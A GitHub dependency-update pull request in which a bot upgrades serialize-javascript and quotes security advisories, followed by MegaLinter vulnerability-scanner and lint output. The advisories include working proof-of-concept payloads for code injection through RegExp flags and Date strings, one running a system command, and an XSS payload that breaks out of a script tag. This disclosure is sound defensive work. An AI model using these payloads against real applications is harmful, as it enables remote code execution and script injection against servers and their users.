chore(deps): update dependency serialize-javascript to v7.1.2 [security] by renovate[bot] · Pull Request #369 · echoix/megalinter

renovate · 2026-10-04T11:30:34Z

This PR contains the following updates:

Package	Change	Age	Confidence
serialize-javascript	`7.1.1` → `7.1.2`

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()

GHSA-5c6j-r48x-rmvq

More information

Details

Impact

The serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.

While RegExp.source is sanitized, RegExp.flags is interpolated directly into the generated output without escaping. A similar issue exists in Date.prototype.toISOString().

If an attacker can control the input object passed to serialize(), they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via eval, new Function, or <script> tags), the injected code executes.

const serialize = require('serialize-javascript');
// Create an object that passes instanceof RegExp with a spoofed .flags
const fakeRegex = Object.create(RegExp.prototype);
Object.defineProperty(fakeRegex, 'source', { get: () => 'x' });
Object.defineProperty(fakeRegex, 'flags', {
  get: () => '"+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"'
});
fakeRegex.toJSON = function() { return '@placeholder'; };
const output = serialize({ re: fakeRegex });
// Output: {"re":new RegExp("x", ""+(global.PWNED="CODE_INJECTION_VIA_FLAGS")+"")}
let obj;
eval('obj = ' + output);
console.log(global.PWNED); // "CODE_INJECTION_VIA_FLAGS" — injected code executed!

#h2. PoC 2: Code Injection via Date.toISOString()

const serialize = require('serialize-javascript');
const fakeDate = Object.create(Date.prototype);
fakeDate.toISOString = function() { return '"+(global.DATE_PWNED="DATE_INJECTION")+"'; };
fakeDate.toJSON = function() { return '2024-01-01'; };
const output = serialize({ d: fakeDate });
// Output: {"d":new Date(""+(global.DATE_PWNED="DATE_INJECTION")+"")}
eval('obj = ' + output);
console.log(global.DATE_PWNED); // "DATE_INJECTION" — injected code executed!

#h2. PoC 3: Remote Code Execution

const serialize = require('serialize-javascript');
const rceRegex = Object.create(RegExp.prototype);
Object.defineProperty(rceRegex, 'source', { get: () => 'x' });
Object.defineProperty(rceRegex, 'flags', {
  get: () => '"+require("child_process").execSync("id").toString()+"'
});
rceRegex.toJSON = function() { return '@rce'; };
const output = serialize({ re: rceRegex });
// Output: {"re":new RegExp("x", ""+require("child_process").execSync("id").toString()+"")}
// When eval'd on a Node.js server, executes the "id" system command

Patches

The fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3

Severity

CVSS Score: 8.1 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript has CPU Exhaustion Denial of Service via crafted array-like objects

CVE-2026-34043 / GHSA-qj8w-gfj5-8c6v

More information

Details

Impact

What kind of vulnerability is it?

It is a Denial of Service (DoS) vulnerability caused by CPU exhaustion. When serializing a specially crafted "array-like" object (an object that inherits from Array.prototype but has a very large length property), the process enters an intensive loop that consumes 100% CPU and hangs indefinitely.

Who is impacted?

Applications that use serialize-javascript to serialize untrusted or user-controlled objects are at risk. While direct exploitation is difficult, it becomes a high-priority threat if the application is also vulnerable to Prototype Pollution or handles untrusted data via YAML Deserialization, as these could be used to inject the malicious object.

Patches

Has the problem been patched?

Yes, the issue has been patched by replacing instanceof Array checks with Array.isArray() and using Object.keys() for sparse array detection.

What versions should users upgrade to?

Users should upgrade to v7.0.5 or later.

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

There is no direct code-level workaround within the library itself. However, users can mitigate the risk by:

Validating and sanitizing all input before passing it to the serialize() function.
Ensuring the environment is protected against Prototype Pollution.
Upgrading to v7.0.5 as soon as possible.

Acknowledgements

Serialize JavaScript thanks Tomer Aberbach (@TomerAberbach) for discovering and privately disclosing this issue.

Severity

CVSS Score: 5.9 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script> in serialized function bodies

CVE-2026-97711 / GHSA-gfhx-hw2g-v5hg

More information

Details

Impact

serialize-javascript escapes its output so it is safe to embed inside a
<script> element. In 7.1.1 that guarantee does not hold for function
values: a crafted function body can carry a literal, unescaped </script>
into the output, terminating the script element early so the remainder is
parsed as HTML.

SCRIPT_CLOSE_REGEXP used <\/script[^>]*> as its first alternative. The
character class excludes only >, so a single match could run from one
</script all the way to the next > anywhere in the source — swallowing a
second, complete </script> along the way. Only one replacement is emitted
per match, and the plain-code branch neutralizes just the leading <
('< ' + match.slice(1)), so the swallowed tag was re-emitted verbatim.

Reaching that shape requires </script in code position, which is legal
JavaScript: x</script=+/ parses as x < /script=+/, a comparison against a
regex literal.

const serialize = require('serialize-javascript');
const src = "function f(x){ return x</script=+/ + '</script><img src=x onerror=alert(1)>' }";
const out = serialize({ h: new Function('return ' + src)() });
// {"h":function f(x){ return x< /script=+/ + '</script><img src=x onerror=alert(1)>' }}

Embedded as the README documents (<script>window.S = <%= serialize(state) %></script>)
and parsed by Chromium, the script element ends at the injected tag and the
<img> becomes a live DOM node with its onerror handler executing in the
page origin.

Only the function path is affected. The same payload passed as data is
escaped correctly, and options.isJSON / non-function values are unaffected.

Patches

Fixed in 7.1.2. The wildcard now excludes < as well as >
([^<>]*), so a match can never reach past a second <. Every </script
in the source therefore either begins its own match or is followed by a
character the HTML tokenizer does not accept as ending a tag name — it ends
the tag name only on TAB, LF, FF, CR, SPACE, / or >, and emits anything
else as text.

Workarounds

Upgrade to 7.1.2. If you cannot upgrade, 7.1.0 and earlier are
unaffected, or avoid serializing functions whose source text is
attacker-influenced.

Regression note

This is a regression specific to 7.1.1, not a long-standing issue. 7.1.0 and
earlier applied the same wildcard but escaped the entire match, so no tag
survived. Downstream scanners defaulting to a >= 7.1.0 range would be
overly broad.

Severity

CVSS Score: 2.3 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Serialize JavaScript: Cross-site scripting (XSS) via unescaped </script> in serialized function bodies

CVE-2026-97711 / GHSA-gfhx-hw2g-v5hg

More information

Details

Impact

serialize-javascript escapes its output so it is safe to embed inside a
<script> element. In 7.1.1 that guarantee does not hold for function
values: a crafted function body can carry a literal, unescaped </script>
into the output, terminating the script element early so the remainder is
parsed as HTML.

SCRIPT_CLOSE_REGEXP used <\/script[^>]*> as its first alternative. The
character class excludes only >, so a single match could run from one
</script all the way to the next > anywhere in the source — swallowing a
second, complete </script> along the way. Only one replacement is emitted
per match, and the plain-code branch neutralizes just the leading <
('< ' + match.slice(1)), so the swallowed tag was re-emitted verbatim.

Reaching that shape requires </script in code position, which is legal
JavaScript: x</script=+/ parses as x < /script=+/, a comparison against a
regex literal.

const serialize = require('serialize-javascript');
const src = "function f(x){ return x</script=+/ + '</script><img src=x onerror=alert(1)>' }";
const out = serialize({ h: new Function('return ' + src)() });
// {"h":function f(x){ return x< /script=+/ + '</script><img src=x onerror=alert(1)>' }}

Embedded as the README documents (<script>window.S = <%= serialize(state) %></script>)
and parsed by Chromium, the script element ends at the injected tag and the
<img> becomes a live DOM node with its onerror handler executing in the
page origin.

Only the function path is affected. The same payload passed as data is
escaped correctly, and options.isJSON / non-function values are unaffected.

Patches

Fixed in 7.1.2. The wildcard now excludes < as well as >
([^<>]*), so a match can never reach past a second <. Every </script
in the source therefore either begins its own match or is followed by a
character the HTML tokenizer does not accept as ending a tag name — it ends
the tag name only on TAB, LF, FF, CR, SPACE, / or >, and emits anything
else as text.

Workarounds

Upgrade to 7.1.2. If you cannot upgrade, 7.1.0 and earlier are
unaffected, or avoid serializing functions whose source text is
attacker-influenced.

Regression note

This is a regression specific to 7.1.1, not a long-standing issue. 7.1.0 and
earlier applied the same wildcard but escaped the entire match, so no tag
survived. Downstream scanners defaulting to a >= 7.1.0 range would be
overly broad.

Severity

CVSS Score: 2.3 / 10 (Low)
Vector String: CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).

Release Notes

yahoo/serialize-javascript (serialize-javascript)

`v7.1.2`

Compare Source

See: GHSA-gfhx-hw2g-v5hg

Configuration

📅 Schedule: (UTC)

Branch creation
- At any time (no schedule defined)
Automerge
- At any time (no schedule defined)

🚦 Automerge: Enabled.

♻ Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

github-actions · 2026-10-04T11:35:07Z

❌MegaLinter analysis: Error

❌ REPOSITORY / grype - 3 errors

[0000]  WARN no explicit name and version provided for directory source, deriving artifact ID from the given path (which is not ideal) from=syft
NAME                  INSTALLED  FIXED IN  TYPE    VULNERABILITY        SEVERITY  EPSS         RISK  
braces                3.0.3                npm     GHSA-vfj7-8cjw-p6xm  High      0.7% (53rd)  0.6   
http-cache-semantics  4.2.0                npm     GHSA-ch52-4w7c-c8xp  High      0.5% (42nd)  0.4   
pyjwt                 2.14.0     2.15.0    python  GHSA-42vr-xj54-vc7v  Medium    0.3% (19th)  0.1
[0141] ERROR discovered vulnerabilities at or above the severity threshold

❌ REPOSITORY / osv-scanner - 4 errors

Scanning dir .
Starting filesystem walk for root: /
Scanned mega-linter-runner/yarn.lock file and found 410 packages
Scanned .config/python/dev/requirements.txt file and found 38 packages
Scanned uv.lock file and found 137 packages
Scanned server/requirements.txt file and found 10 packages
End status: 261 dirs visited, 1969 inodes visited, 4 Extract calls, 219.952342ms elapsed, 219.952572ms wall time
Filtered 1 local/unscannable package/s from the scan.

Total 4 packages affected by 4 known vulnerabilities (0 Critical, 2 High, 2 Medium, 0 Low, 0 Unknown) from 2 ecosystems.
2 vulnerabilities can be fixed.

+-------------------------------------+------+-----------+----------------------+---------+---------------+-------------------------------------+
| OSV URL                             | CVSS | ECOSYSTEM | PACKAGE              | VERSION | FIXED VERSION | SOURCE                              |
+-------------------------------------+------+-----------+----------------------+---------+---------------+-------------------------------------+
| https://osv.dev/PYSEC-2026-4141     | 5.3  | PyPI      | pyjwt                | 2.14.0  | 2.15.0        | .config/python/dev/requirements.txt |
| https://osv.dev/GHSA-42vr-xj54-vc7v |      |           |                      |         |               |                                     |
| https://osv.dev/PYSEC-2026-4141     | 5.3  | PyPI      | pyjwt                | 2.14.0  | 2.15.0        | uv.lock                             |
| https://osv.dev/GHSA-42vr-xj54-vc7v |      |           |                      |         |               |                                     |
| https://osv.dev/GHSA-vfj7-8cjw-p6xm | 8.7  | npm       | braces               | 3.0.3   | --            | mega-linter-runner/yarn.lock        |
| https://osv.dev/GHSA-ch52-4w7c-c8xp | 8.7  | npm       | http-cache-semantics | 4.2.0   | --            | mega-linter-runner/yarn.lock        |
+-------------------------------------+------+-----------+----------------------+---------+---------------+-------------------------------------+

❌ REPOSITORY / trivy - 1 error

ntainers: VEX Notice
--------------------------------
If you're an OSS maintainer and Trivy has detected vulnerabilities in your project that you believe are not actually exploitable, consider issuing a VEX (Vulnerability Exploitability eXchange) statement.
VEX allows you to communicate the actual status of vulnerabilities in your project, improving security transparency and reducing false positives for your users.
Learn more and start using VEX: https://trivy.dev/docs/v0.74/guide/supply-chain/vex/repo#publishing-vex-documents

To disable this notice, set the TRIVY_DISABLE_VEX_NOTICE environment variable.


.config/python/dev/requirements.txt (pip)
=========================================
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)

┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐
│ Library │  Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                            Title                             │
├─────────┼─────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤
│ pyjwt   │ CVE-2026-101918 │ MEDIUM   │ fixed  │ 2.14.0            │ 2.15.0        │ pyjwt: PyJWT: Denial of Service via deeply nested JSON token │
│         │                 │          │        │                   │               │ payload                                                      │
│         │                 │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2026-101918                  │
└─────────┴─────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘

mega-linter-runner/yarn.lock (yarn)
===================================
Total: 2 (UNKNOWN: 0, LOW: 0, MEDIUM: 0, HIGH: 2, CRITICAL: 0)

┌──────────────────────┬────────────────┬──────────┬──────────┬───────────────────┬───────────────┬───────────────────────────────────────────────────────────┐
│       Library        │ Vulnerability  │ Severity │  Status  │ Installed Version │ Fixed Version │                           Title                           │
├──────────────────────┼────────────────┼──────────┼──────────┼───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ braces               │ CVE-2026-93687 │ HIGH     │ affected │ 3.0.3             │               │ braces: braces: Denial of Service via Stack Overflow from │
│                      │                │          │          │                   │               │ Deeply Nested Patterns...                                 │
│                      │                │          │          │                   │               │ https://avd.aquasec.com/nvd/cve-2026-93687                │
├──────────────────────┼────────────────┤          │          ├───────────────────┼───────────────┼───────────────────────────────────────────────────────────┤
│ http-cache-semantics │ CVE-2026-93748 │          │          │ 4.2.0             │               │ http-cache-semantics: http-cache-semantics: Information   │
│                      │                │          │          │                   │               │ Disclosure via max-stale directive                        │
│                      │                │          │          │                   │               │ https://avd.aquasec.com/nvd/cve-2026-93748                │
└──────────────────────┴────────────────┴──────────┴──────────┴───────────────────┴───────────────┴───────────────────────────────────────────────────────────┘

uv.lock (uv)
============
Total: 1 (UNKNOWN: 0, LOW: 0, MEDIUM: 1, HIGH: 0, CRITICAL: 0)

┌─────────┬─────────────────┬──────────┬────────┬───────────────────┬───────────────┬──────────────────────────────────────────────────────────────┐
│ Library │  Vulnerability  │ Severity │ Status │ Installed Version │ Fixed Version │                            Title                             │
├─────────┼─────────────────┼──────────┼────────┼───────────────────┼───────────────┼──────────────────────────────────────────────────────────────┤
│ pyjwt   │ CVE-2026-101918 │ MEDIUM   │ fixed  │ 2.14.0            │ 2.15.0        │ pyjwt: PyJWT: Denial of Service via deeply nested JSON token │
│         │                 │          │        │                   │               │ payload                                                      │
│         │                 │          │        │                   │               │ https://avd.aquasec.com/nvd/cve-2026-101918                  │
└─────────┴─────────────────┴──────────┴────────┴───────────────────┴───────────────┴──────────────────────────────────────────────────────────────┘

📣 Notices:
  - Version 0.75.0 of Trivy is now available, current version is 0.74.0

To suppress version checks, run Trivy scans with the --skip-version-check flag

(Truncated to last 5000 characters out of 45227)

⚠️ PYTHON / bandit - 197 errors

.uuid4())
187	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
188	    linter_name = linter.linter_name

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:262:4
261	    tmp_report_folder = tempfile.gettempdir() + os.path.sep + str(uuid.uuid4())
262	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
263	    if os.path.isfile(workspace + os.path.sep + "no_test_failure"):

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:512:4
511	    )
512	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
513	    expected_file_name = ""

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:612:4
611	        workspace += os.path.sep + "bad"
612	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
613	    # Call linter

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:713:4
712	        workspace = workspace + os.path.sep + "fix"
713	    assert os.path.isdir(workspace), f"Test folder {workspace} is not existing"
714	

--------------------------------------------------
>> Issue: [B101:assert_used] Use of assert detected. The enclosed code will be removed when compiling to optimised byte code.
   Severity: Low   Confidence: High
   CWE: CWE-703 (https://cwe.mitre.org/data/definitions/703.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b101_assert_used.html
   Location: ./megalinter/utilstest.py:819:12
818	            ]
819	            assert (len(list(diffs))) > 0, f"No changes in the {file} file"
820	

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server.py:81:42
80	    if item.fileUploadId:
81	        uploaded_file_path = os.path.join("/tmp/server-files", item.fileUploadId)
82	        if not os.path.isdir(uploaded_file_path):

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server.py:103:38
102	    file_upload_id = "FILE_" + str(uuid1())
103	    uploaded_file_path = os.path.join("/tmp/server-files", file_upload_id)
104	    os.makedirs(uploaded_file_path)

--------------------------------------------------
>> Issue: [B108:hardcoded_tmp_directory] Probable insecure usage of temp file/directory.
   Severity: Medium   Confidence: Medium
   CWE: CWE-377 (https://cwe.mitre.org/data/definitions/377.html)
   More Info: https://bandit.readthedocs.io/en/1.9.4/plugins/b108_hardcoded_tmp_directory.html
   Location: ./server/server_worker.py:102:34
101	        temp_dir = self.create_temp_dir()
102	        upload_dir = os.path.join("/tmp/server-files", file_upload_id)
103	        if os.path.exists(upload_dir):

--------------------------------------------------

Code scanned:
	Total lines of code: 30694
	Total lines skipped (#nosec): 0
	Total potential issues skipped due to specifically being disabled (e.g., #nosec BXXX): 0

Run metrics:
	Total issues (by severity):
		Undefined: 0
		Low: 130
		Medium: 59
		High: 8
	Total issues (by confidence):
		Undefined: 0
		Low: 44
		Medium: 40
		High: 113
Files skipped (0):

(Truncated to last 5000 characters out of 136073)

⚠️ SPELL / lychee - 66 errors

irects. Redirects: https://vale.sh/docs/vale-cli/structure/ --[301]--> https://docs.vale.sh/vale-cli/structure/ --[302]--> https://docs.vale.sh/vale-cli/structure

Errors in megalinter/descriptors/sql.megalinter-descriptor.yml
[404] https://docs.sqlfluff.com/en/stable/_static/images/sqlfluff-lrg.png (at 32:23) | Rejected status code: 404 Not Found

Errors in megalinter/descriptors/terraform.megalinter-descriptor.yml
[404] https://github.com/gruntwork-io/terragrunt/blob/master/docs/assets/img/favicon/ms-icon-310x310.png (at 124:23) | Rejected status code: 404 Not Found | Followed 1 redirect. Redirects: https://github.com/gruntwork-io/terragrunt/blob/master/docs/assets/img/favicon/ms-icon-310x310.png --[302]--> https://github.com/gruntwork-io/terragrunt/blob/main/docs/assets/img/favicon/ms-icon-310x310.png

Errors in megalinter/descriptors/tsx.megalinter-descriptor.yml
[404] https://eslint-react.xyz/docs/getting-started/installation (at 81:37) | Rejected status code: 404 Not Found

Errors in megalinter/descriptors/typescript.megalinter-descriptor.yml
[TIMEOUT] https://typescript-eslint.io/ (at 128:17) | Request timed out
[TIMEOUT] https://typescript-eslint.io/getting-started/#configuration-values (at 132:37) | Request timed out
[TIMEOUT] https://typescript-eslint.io/img/logo.svg (at 131:30) | Request timed out
[TIMEOUT] https://typescript-eslint.io/rules/ (at 130:23) | Request timed out

Errors in megalinter/descriptors/xml.megalinter-descriptor.yml
[406] https://gitlab.gnome.org/GNOME/libxml2/-/wikis/home (at 38:17) | Rejected status code: 406 Not Acceptable

Errors in README.md
[ERROR] https://ampcode.com/ (at 248:1) | HTTP/2 protocol error. Server may not support HTTP/2 properly
[301] https://future-architect.github.io/authors/%E5%AE%AE%E6%B0%B8%E5%B4%87%E5%8F%B2 (at 2036:104) | Rejected status code: 301 Moved Permanently
[TIMEOUT] https://generated.at/ (at 1371:301) | Request timed out
[504] https://github.com/andreoliwa/nitpick#run-as-a-megalinter-plugin (at 1929:3) | Rejected status code: 504 Gateway Timeout
[404] https://github.com/oxsecurity/megalinter/stargazers (at 2202:3) | Rejected status code: 404 Not Found
[404] https://github.com/oxsecurity/megalinter/stargazers/ (at 23:1) | Rejected status code: 404 Not Found
[403] https://javascript.plainenglish.io/node-js-coding-standard-tools-with-megalinter-on-gitlab-ci-a43b55915811 (at 2019:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@caodanju/30-seconds-to-setup-megalinter-your-go-to-tool-for-automated-code-quality-and-iac-security-969d90a5a99c (at 2004:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@RunningMattress (at 2013:255) | Rejected status code: 403 Forbidden
[403] https://medium.com/@RunningMattress/level-up-your-unity-packages-with-ci-cd-9498d2791211 (at 2013:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/@SeasonedDeveloper (at 2000:255) | Rejected status code: 403 Forbidden
[403] https://medium.com/@SeasonedDeveloper/looking-for-the-best-ci-cd-pipeline-linting-tool-try-megalinter-d89c9eba850d (at 2000:3) | Rejected status code: 403 Forbidden
[403] https://medium.com/datamindedbe/integrating-megalinter-to-automate-linting-across-multiple-codebases-a-technical-description-a200bb235b71 (at 2001:3) | Rejected status code: 403 Forbidden
[403] https://nicolas.vuillamy.fr/improve-uniformize-and-secure-your-code-base-with-megalinter-62ebab422c1 (at 2022:3) | Rejected status code: 403 Forbidden
[403] https://nicolas.vuillamy.fr/megalinter-sells-his-soul-and-joins-ox-security-2a91a0027628 (at 2021:3) | Rejected status code: 403 Forbidden
[403] https://nklya.medium.com/ (at 2018:255) | Rejected status code: 403 Forbidden
[403] https://nklya.medium.com/hot-to-linter-basic-things-like-trailing-whitespaces-and-newlines-7b40da8f688d (at 2018:3) | Rejected status code: 403 Forbidden
[403] https://npmjs.org/package/mega-linter-runner (at 1286:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 1287:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 1288:1) | Error (cached)
[403] https://npmjs.org/package/mega-linter-runner (at 21:1) | Rejected status code: 403 Forbidden | Followed 1 redirect. Redirects: https://npmjs.org/package/mega-linter-runner --[301]--> https://www.npmjs.com/package/mega-linter-runner
[403] https://openai.com/codex/ (at 240:1) | Rejected status code: 403 Forbidden
[403] https://pmd.sourceforge.io/pmd-6.55.0/pmd_userdocs_tools_ci.html (at 2107:3) | Rejected status code: 403 Forbidden
[403] https://www.npmjs.com/package/@downatthebottomofthemolehole/megalinter-mcp-server (at 1978:354) | Rejected status code: 403 Forbidden

Hint: Followed 781 redirects. You might want to consider replacing redirecting URLs with the resolved URLs. Use verbose mode (`-v`/`-vv`) to see redirection details.
Hint: Rejected redirectional status codes. This means some redirects were not followed. You might want to increase the limit for `-m`/`--max-redirects`.

(Truncated to last 5000 characters out of 34654)

⚠️ MARKDOWN / markdownlint - 360 errors

HubCommentReporter.md:27:196 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:179 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:28:46 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:160 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:28:179 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:159 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:29:48 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:143 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:29:159 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:171 error MD056/table-column-count Table column count [Expected: 4; Actual: 3; Too few cells, row will be missing data]
docs/reporters/GitHubCommentReporter.md:30:46 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:152 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubCommentReporter.md:30:171 error MD060/table-column-style Table column style [Table pipe does not align with header for style "aligned"]
docs/reporters/GitHubStatusReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "GitHub Status Reporter"]
docs/reporters/GitlabCommentReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Gitlab Comment Reporter"]
docs/reporters/JsonReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "JSON Reporter"]
docs/reporters/MarkdownSummaryReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Markdown Summary Reporter"]
docs/reporters/SarifReporter.md:6 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "SARIF Reporter (beta)"]
docs/reporters/TapReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "TAP Reporter"]
docs/reporters/TextReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Text Reporter"]
docs/reporters/UpdatedSourcesReporter.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Updated Sources Reporter"]
docs/special-thanks.md:9 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Special thanks"]
docs/special-thanks.md:23:3 error MD045/no-alt-text Images should have alternate text (alt text)
docs/sponsor.md:5 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Sponsoring"]
docs/supported-linters.md:9 error MD025/single-title/single-h1 Multiple top-level headings in the same document [Context: "Supported Linters"]
docs/supported-linters.md:95:523 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
mega-linter-runner/README.md:27:274 error MD051/link-fragments Link fragments should be valid [Context: "[**apply formatting and auto-fixes**](#apply-fixes)"]
mega-linter-runner/README.md:27:217 error MD051/link-fragments Link fragments should be valid [Context: "[**reports in several formats**](#reports)"]
mega-linter-runner/README.md:288:691 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
README.md:220:127 error MD051/link-fragments Link fragments should be valid [Context: "[many additional features](#mega-linter-vs-super-linter)"]
README.md:427:691 error MD056/table-column-count Table column count [Expected: 4; Actual: 6; Too many cells, extra data will be missing]
README.md:2229:3 error MD045/no-alt-text Images should have alternate text (alt text)
skills/megalinter-check/performance.md:27:601 error MD013/line-length Line length [Expected: 600; Actual: 713]
skills/megalinter-setup/agents/megalinter-runner.md:33:601 error MD013/line-length Line length [Expected: 600; Actual: 620]

(Truncated to last 5000 characters out of 47767)

⚠️ YAML / prettier - 14 errors

# If you use VALIDATE_ALL_CODEBASE = true, you can remove this line to
[error]   70 |           # improve performance
megalinter/descriptors/action.megalinter-descriptor.yml 15ms (unchanged)
megalinter/descriptors/ansible.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/api.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/arm.megalinter-descriptor.yml 9ms (unchanged)
megalinter/descriptors/bash.megalinter-descriptor.yml 17ms (unchanged)
megalinter/descriptors/bicep.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/c.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/clojure.megalinter-descriptor.yml 11ms (unchanged)
megalinter/descriptors/cloudformation.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/coffee.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/copypaste.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/cpp.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/csharp.megalinter-descriptor.yml 17ms (unchanged)
megalinter/descriptors/css.megalinter-descriptor.yml 8ms (unchanged)
megalinter/descriptors/dart.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/dockerfile.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/editorconfig.megalinter-descriptor.yml 4ms (unchanged)
megalinter/descriptors/env.megalinter-descriptor.yml 3ms (unchanged)
megalinter/descriptors/gherkin.megalinter-descriptor.yml 7ms (unchanged)
megalinter/descriptors/go.megalinter-descriptor.yml 12ms (unchanged)
megalinter/descriptors/graphql.megalinter-descriptor.yml 5ms (unchanged)
megalinter/descriptors/groovy.megalinter-descriptor.yml 6ms (unchanged)
megalinter/descriptors/html.megalinter-descriptor.yml 13ms (unchanged)
